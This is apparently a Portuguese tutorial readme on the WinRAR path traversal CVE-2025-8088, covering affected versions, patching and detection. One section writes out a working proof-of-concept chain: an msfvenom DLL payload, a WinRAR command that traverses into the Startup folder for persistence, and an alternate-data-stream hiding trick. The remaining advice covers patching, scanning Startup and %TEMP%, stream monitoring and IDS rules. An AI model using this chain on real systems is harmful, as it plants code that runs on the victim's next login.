adityabhatt3010/cve-2025-8088-winrar-zero-day-path-traversalUm tutorial envolvente sobre a descoberta, correção e proteção do WinRAR CVE-2025-8088 com um toque hacker prático.
WinRAR — o clássico empoeirado que todo mundo tem instalado mas ninguém atualiza — acabou de levar um path traversal de dia zero de alta severidade: CVE-2025-8088.
A CISA até colocou isso no catálogo de Vulnerabilidades Conhecidas Exploradas, com prazo de remediação até 2 de setembro de 2025. Isso não é teoria — é fogo real.
..\Startup\evil.dllAfetada: WinRAR para Windows (≤7.12), UnRAR.dll, Portable UnRAR Seguro: Compilações Linux, Unix, Android.
Antes de entrar em pânico ou tentar ser hacker, verifique sua versão.
Ajuda → Sobre o WinRARwinget list WinRAR
(ou execute winrar.exe a partir do diretório de instalação)
UnRAR.dll → Propriedades → Detalhes.Quando comecei a escrever isso, eu estava na 7.10 — sim, bem vulnerável 🗿🐔🍗.
Ajuda → Sobre o WinRAR → deve mostrar 7.13 ou superior.UnRAR.dll em ferramentas dependentes, se houver.WinRAR não atualiza automaticamente — coloque um lembrete no calendário, não vire um alvo estático.
PS: Ignora a ostentação do meu wallpaper aqui — tinha que mostrar um pouco! 😏
%TEMP% e pastas de Inicialização.⚠ Aviso: Isso é apenas para testes de segurança educacionais e autorizados. Não vire um gremlin 🗿.
msfvenom -p windows/x64/exec CMD=calc.exe -f dll > evil.dll
winrar a -ep -ap"\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" payload.rar evil.dll
type evil.dll > legit.txt:evil.dll
Boom — evil.dll vai parar na Inicialização. Próximo reboot? Olá calc.exe.
Corrigir → WinRAR 7.13+
Procure por .dll ou .lnk suspeitos em:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup%TEMP%Monitore ADS:
streams.exe -s C:\
Regra IDS/IPS: marcar RAR com sequências ..\.
Plugins Nessus/Qualys já disponíveis.
Isso não foi uma vulnerabilidade “talvez um dia” — foi armada antes da divulgação. Se você ainda está na 7.10 (como eu estava quando escrevi isso), corrija agora. Se você está no lado da equipe vermelha, trate isso como um estudo de caso de como ferramentas antigas se tornam novos vetores de ataque.